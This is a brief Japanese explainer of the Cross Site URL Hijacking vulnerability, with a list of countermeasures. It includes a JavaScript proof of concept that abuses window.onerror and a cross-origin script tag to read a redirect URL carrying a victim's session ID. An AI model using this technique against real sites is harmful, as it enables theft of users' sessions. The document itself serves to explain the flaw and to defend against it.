セキュリティ Cross Site URL Hijacking脆弱性とその対策

このドキュメントの内容は、以下の通りです。

• 攻撃コードの例
• 対策

• AのURL http://a.com/profile/ にアクセスします。
• Aは、http://a.com/profile/?sid=USER_SESSION_ID&name=USERNAME にリダイレクトします。

攻撃コードの例

<script>
var destinationPage = 'http://foo.bar.com';
window.onerror=fnErrorTrap;
function fnErrorTrap(sMsg,sUrl,sLine){
	alert('Source address was: ' + destinationPage +
		'\n\nDestination URL is: ' + sUrl);
	return false;
}
document.write('<script src="'+destinationPage+'"><\/script>');
</script>

対策

• セッションID、機密情報のような重要な情報は、GETメソッドを使って URLを通して、送信してはなりません。
• 機密情報を他の場所に送信するときは、POSTメソッドとJavaScriptを使います。
• AJAXテクノロジーを使って、アプリケーションのメッセージを送受信します。
• フレームオブジェクトを使って、単純なエクスプロイトのリスクを減らすために、すべてのHTMLページに "frame breaker" を入れます。